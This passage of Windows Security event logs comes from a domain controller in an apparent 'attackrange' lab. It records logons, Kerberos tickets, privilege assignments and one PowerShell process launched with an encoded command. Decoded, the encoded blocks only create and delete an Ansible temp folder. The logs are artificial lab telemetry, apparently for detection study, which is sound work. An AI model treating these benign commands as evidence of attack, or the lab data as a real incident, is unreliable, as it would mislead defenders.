UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANgA4AC4ANAA1ADkAMgA0AC0ANQA5ADgAMwA3ADQANwA2ADkAMwA2ADgAOQA2ACcACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJAB0AG0AcAAuAEYAdQBsAGwATgBhAG0AZQAKAEkAZgAgACgALQBuAG8AdAAgACQAPwApACAAewAgAEkAZgAgACgARwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACAAewAgAGUAeABpAHQAIAAkAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAAfQAgAEUAbABzAGUAIAB7ACAAZQB4AGkAdAAgADEAIAB9ACAAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251461 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x136711 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251460 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251459 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12F0F9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251458 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1334C4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251457 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130C58 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251456 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x132587 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251455 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x134EA1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251454 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x136711 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251453 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x136711 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251452 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251451 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251450 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251449 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1366F5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251448 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1366F5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251447 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1366F5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251446 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251445 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {0CADAF93-4BA5-C116-6558-BA1D5ED404DF} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251444 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251443 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1350AE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251442 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa34 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11bc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADgALgA0ADUAOQAyADQALQA1ADkAOAAzADcANAA3ADYAOQAzADYAOAA5ADYAIgAgAC0ARgBvAHIAYwBlACAALQBSAGUAYwB1AHIAcwBlADsACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251441 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1358B8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251440 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1358B8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64528 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251439 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1358B8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251438 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13584B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251437 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13584B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64527 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251436 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13584B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251435 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1357CA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251434 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1357CA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64526 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information 